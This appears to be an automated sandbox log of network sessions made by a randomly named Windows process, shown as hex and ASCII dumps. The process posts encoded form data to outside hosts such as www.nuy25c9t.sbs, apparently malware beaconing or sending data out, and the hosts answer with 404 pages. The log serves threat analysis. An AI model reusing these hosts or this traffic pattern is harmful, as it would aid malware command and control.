Nov 20, 2024 08:33:45.062149048 CET	1236	IN	Data Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20 Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
Nov 20, 2024 08:33:45.062184095 CET	1236	IN	Data Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32 Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
Nov 20, 2024 08:33:45.062217951 CET	448	IN	Data Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
Nov 20, 2024 08:33:45.062401056 CET	1236	IN	Data Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
Nov 20, 2024 08:33:45.067126989 CET	1236	IN	Data Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50021	203.161.46.205	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:47.063721895 CET	556	OUT	GET /4pih/?9xn=fHadNpk8MVax&GR54yHZ8=ZmPwAj1McUpIZiz0LuViOUq+B7yzDKheiuLx3j/o2iG3zDrxD498zlZSm94ILhpOzlwyZVIuLGPVSJZjqSUFLPfqxdekucT9Chqzy6Pm+Rnw0xtYs44Mkmek35mpNA+VZaQoqJ0= HTTP/1.1 Host: www.housew.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:33:47.637972116 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:33:47 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Nov 20, 2024 08:33:47.637990952 CET	1236	IN	Data Raw: 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 Data Ascii: /linearGradient> </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)"
Nov 20, 2024 08:33:47.638000965 CET	448	IN	Data Raw: 37 39 20 2d 30 2e 35 39 35 32 33 33 2c 2d 31 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 Data Ascii: 79 -0.595233,-18.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;str
Nov 20, 2024 08:33:47.638020992 CET	1236	IN	Data Raw: 30 31 20 2d 34 2e 38 36 31 34 34 34 2c 32 2e 36 38 31 31 33 20 2d 31 2e 33 35 35 38 35 33 2c 31 2e 35 30 33 31 32 20 2d 32 2e 34 37 33 37 36 34 2c 33 2e 30 39 31 37 33 20 2d 33 2e 33 38 37 38 36 36 2c 34 2e 35 39 35 33 38 20 2d 30 2e 39 31 34 31 Data Ascii: 01 -4.861444,2.68113 -1.355853,1.50312 -2.473764,3.09173 -3.387866,4.59538 -0.914103,1.50365 -1.620209,2.91586 -2.416229,4.41952 -0.79602,1.50365 -1.67928,3.09352 -0.808656,3.24054 0.870624,0.14702 3.490408,-1.14815 5.700074,-1.91396 2.209666,
Nov 20, 2024 08:33:47.638031960 CET	1236	IN	Data Raw: 33 2c 36 2e 36 36 37 31 39 20 2d 31 30 2e 37 34 39 36 35 35 2c 31 33 2e 36 36 36 30 35 20 2d 31 33 2e 39 31 36 36 30 38 2c 31 38 2e 37 34 39 36 20 2d 33 2e 31 36 36 39 35 32 2c 35 2e 30 38 33 35 35 20 2d 34 2e 33 33 33 34 33 32 2c 38 2e 32 34 39 Data Ascii: 3,6.66719 -10.749655,13.66605 -13.916608,18.7496 -3.166952,5.08355 -4.333432,8.24971 -4.750315,11.08369 -0.416883,2.83399 -0.08368,5.33304 1.809372,16.25302 1.893048,10.91998 5.343489,30.24673 9.760132,48.66349 4.416642,18.41676 9.798356,35.91
Nov 20, 2024 08:33:47.638123035 CET	448	IN	Data Raw: 37 2c 31 39 2e 31 34 35 38 31 20 36 2e 31 39 37 38 36 2c 36 2e 32 32 39 31 32 20 31 31 2e 36 39 37 38 39 2c 31 32 2e 32 32 39 31 34 20 31 37 2e 31 31 34 35 36 2c 31 38 2e 33 39 35 38 31 20 35 2e 34 31 36 36 36 2c 36 2e 31 36 36 36 37 20 31 30 2e Data Ascii: 7,19.14581 6.19786,6.22912 11.69789,12.22914 17.11456,18.39581 5.41666,6.16667 10.74996,12.49995 14.74993,17.91655 3.99997,5.41659 6.66659,9.91653 7.16671,17.83316 0.50012,7.91664 -1.16644,19.24921 -3.3502,31.24619 -2.18376,11.99698 -4.81616,2
Nov 20, 2024 08:33:47.638195038 CET	1236	IN	Data Raw: 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e Data Ascii: ke-opacity:1;" /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.6665
Nov 20, 2024 08:33:47.638235092 CET	1236	IN	Data Raw: 30 32 31 2c 31 31 2e 31 31 30 35 32 20 30 2e 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e Data Ascii: 021,11.11052 0.943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.00342
Nov 20, 2024 08:33:47.638246059 CET	448	IN	Data Raw: 30 30 30 34 39 20 33 2e 37 31 32 30 30 35 2c 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 Data Ascii: 00049 3.712005,54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.232
Nov 20, 2024 08:33:47.638315916 CET	1236	IN	Data Raw: 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a Data Ascii: 34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path
Nov 20, 2024 08:33:47.643045902 CET	1236	IN	Data Raw: 32 38 39 2c 31 38 2e 34 31 35 35 20 2d 38 2e 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 Data Ascii: 289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50022	43.155.76.124	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:53.857135057 CET	810	OUT	POST /lmj1/ HTTP/1.1 Host: www.nuy25c9t.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.nuy25c9t.sbs Referer: http://www.nuy25c9t.sbs/lmj1/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 45 77 46 52 66 64 34 71 34 5a 4e 50 4b 63 6d 41 6a 74 55 6c 51 41 4c 48 48 30 59 46 6a 34 77 37 49 51 57 4a 50 57 39 58 38 67 57 30 59 42 62 6f 30 68 51 70 47 71 44 35 4d 45 4c 63 52 4a 64 49 6a 57 6f 79 44 4d 51 67 54 48 31 73 4f 62 6b 30 6b 57 72 59 66 67 47 52 51 78 62 6f 70 64 5a 4b 63 50 74 54 6d 54 6f 47 52 59 5a 51 65 49 63 4e 78 54 65 49 6f 48 35 7a 61 2f 5a 6f 6c 38 68 54 79 47 79 62 30 55 37 31 41 6c 49 5a 79 75 46 64 49 4b 55 72 49 6b 62 4e 55 32 44 43 62 79 44 71 6c 67 4e 32 71 68 51 4b 53 57 64 52 38 4b 46 52 78 72 73 43 74 74 38 35 43 48 31 30 46 49 6a 72 74 53 50 56 61 4a 51 52 6a 6e 55 6b Data Ascii: GR54yHZ8=EwFRfd4q4ZNPKcmAjtUlQALHH0YFj4w7IQWJPW9X8gW0YBbo0hQpGqD5MELcRJdIjWoyDMQgTH1sObk0kWrYfgGRQxbopdZKcPtTmToGRYZQeIcNxTeIoH5za/Zol8hTyGyb0U71AlIZyuFdIKUrIkbNU2DCbyDqlgN2qhQKSWdR8KFRxrsCtt85CH10FIjrtSPVaJQRjnUk
Nov 20, 2024 08:33:54.729610920 CET	708	IN	HTTP/1.1 404 Not Found Server: Tuser Date: Wed, 20 Nov 2024 07:33:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50023	43.155.76.124	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:56.402523994 CET	834	OUT	POST /lmj1/ HTTP/1.1 Host: www.nuy25c9t.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.nuy25c9t.sbs Referer: http://www.nuy25c9t.sbs/lmj1/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 45 77 46 52 66 64 34 71 34 5a 4e 50 4d 39 57 41 77 37 63 6c 41 51 4c 41 65 45 59 46 74 59 77 2f 49 51 71 4a 50 58 35 48 38 7a 79 30 59 67 72 6f 31 67 51 70 42 71 44 35 43 6b 4c 46 65 70 64 50 6a 57 6b 41 44 4a 77 67 54 48 68 73 4f 62 55 30 6c 6c 7a 58 64 77 47 70 45 42 62 75 6e 39 5a 4b 63 50 74 54 6d 54 38 73 52 59 78 51 65 59 73 4e 7a 79 65 4c 67 6e 35 77 51 66 5a 6f 79 73 68 66 79 47 7a 2b 30 56 6e 54 41 6e 41 5a 79 72 68 64 4a 59 38 73 47 6b 62 44 51 32 43 54 51 68 32 46 39 54 6f 57 69 67 55 57 4f 55 6f 75 30 63 59 4c 74 59 73 68 2f 39 63 37 43 46 74 47 46 6f 6a 42 76 53 33 56 49 65 63 32 73 54 78 48 57 53 56 4d 45 79 62 6f 61 4f 62 64 76 6f 78 2b 51 74 77 65 73 51 3d 3d Data Ascii: GR54yHZ8=EwFRfd4q4ZNPM9WAw7clAQLAeEYFtYw/IQqJPX5H8zy0Ygro1gQpBqD5CkLFepdPjWkADJwgTHhsObU0llzXdwGpEBbun9ZKcPtTmT8sRYxQeYsNzyeLgn5wQfZoyshfyGz+0VnTAnAZyrhdJY8sGkbDQ2CTQh2F9ToWigUWOUou0cYLtYsh/9c7CFtGFojBvS3VIec2sTxHWSVMEyboaObdvox+QtwesQ==
Nov 20, 2024 08:33:57.270441055 CET	708	IN	HTTP/1.1 404 Not Found Server: Tuser Date: Wed, 20 Nov 2024 07:33:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50025	43.155.76.124	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:58.945770025 CET	1847	OUT	POST /lmj1/ HTTP/1.1 Host: www.nuy25c9t.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.nuy25c9t.sbs Referer: http://www.nuy25c9t.sbs/lmj1/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 45 77 46 52 66 64 34 71 34 5a 4e 50 4d 39 57 41 77 37 63 6c 41 51 4c 41 65 45 59 46 74 59 77 2f 49 51 71 4a 50 58 35 48 38 7a 36 30 59 79 6a 6f 30 48 38 70 41 71 44 35 4b 45 4c 59 65 70 64 65 6a 53 4a 4c 44 4a 39 56 54 42 74 73 50 34 63 30 73 30 7a 58 58 77 47 70 47 42 62 76 70 64 5a 6c 63 50 38 61 6d 54 73 73 52 59 78 51 65 65 41 4e 39 7a 65 4c 74 48 35 7a 61 2f 5a 6b 6c 38 67 43 79 46 43 44 30 56 7a 6c 42 57 67 5a 7a 4c 78 64 4c 73 63 73 4f 6b 62 42 64 57 43 4c 51 68 71 61 39 54 45 73 69 67 67 77 4f 55 4d 75 6e 6f 52 4c 36 62 38 39 2b 2b 6b 48 55 43 74 48 4f 39 4c 57 67 6a 54 46 4a 2b 42 65 6a 43 42 38 54 56 51 53 4e 79 43 72 56 66 76 72 6c 65 6b 69 64 76 64 74 76 4c 55 6a 32 7a 66 68 6d 4a 32 78 34 6f 69 73 38 39 62 46 67 34 69 53 46 51 48 37 36 77 34 4a 41 36 44 54 46 75 5a 42 61 50 61 37 45 69 76 48 56 72 77 36 4f 35 51 67 50 57 54 51 59 6f 72 36 58 76 4a 68 76 39 44 47 72 65 2f 37 4a 62 2b 35 6a 6b 53 42 76 32 56 6b 4e 55 63 45 72 2b 51 30 68 57 45 48 36 2b 32 32 78 [TRUNCATED] Data Ascii: GR54yHZ8=EwFRfd4q4ZNPM9WAw7clAQLAeEYFtYw/IQqJPX5H8z60Yyjo0H8pAqD5KELYepdejSJLDJ9VTBtsP4c0s0zXXwGpGBbvpdZlcP8amTssRYxQeeAN9zeLtH5za/Zkl8gCyFCD0VzlBWgZzLxdLscsOkbBdWCLQhqa9TEsiggwOUMunoRL6b89++kHUCtHO9LWgjTFJ+BejCB8TVQSNyCrVfvrlekidvdtvLUj2zfhmJ2x4ois89bFg4iSFQH76w4JA6DTFuZBaPa7EivHVrw6O5QgPWTQYor6XvJhv9DGre/7Jb+5jkSBv2VkNUcEr+Q0hWEH6+22xqOBUO+I6Nvb3fEhLRMmTLSBhM/76FsUFnzt9S+u0byBJk7aRHmnf9kFxhdYo9cA6ZZ41IaolEZA2e7GWPkK34qIXmbZG8mEbd9D9HKlOpWlr/9/m7hY5J1HGMGDsMKcRe/jjZaX3/WBrzF6kk+SSJGwg1FAgQmzvPRgl2R/ala9hDZAICAaUHHQcfjn7UA06geV2/QM+HBJ7bLGZbnUs7KqwjsQH1NX4glQK7K8eixvRgteAS7YeHJltN95QlDqwx/B/TRFi+owNGgSdboSKwiLKycxHXfaus9e4lsmvGExCPJx4VsZmWnj8otcHz6nkMpI7kfL/NMMFRb2RTHkR2Lxg4ECr5rVQgJw0wFEw8JaV9EhIF143rVcw30iL/EkaWOoo0pXiKCFbyXw+65wmD2uTP9ut2JTQTcPXbJahJRuiBTL9i1UPYC8A5Q1735rsFpRQOW1p0TC9sBA/17gn77RtH4NRcvX/685EFOol8oo2rIOpUOROAFyV8qqVyQuKzg9Yt0sNHJW38+/umZoFyxVAzANcNC0cotHXb49rS5sH7eggJUF6/9buY92qjbFtb/Kp4T5uJB21xiHISHAYI6oWy9M5hLda8mVLiYPo0UUoMLx3bb1Xy4OYJ5rqnyXq2YGLv0Qd/4Cfh2/HMJn4dkFtOiPT/FkyyI [TRUNCATED]
Nov 20, 2024 08:33:59.818623066 CET	708	IN	HTTP/1.1 404 Not Found Server: Tuser Date: Wed, 20 Nov 2024 07:33:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 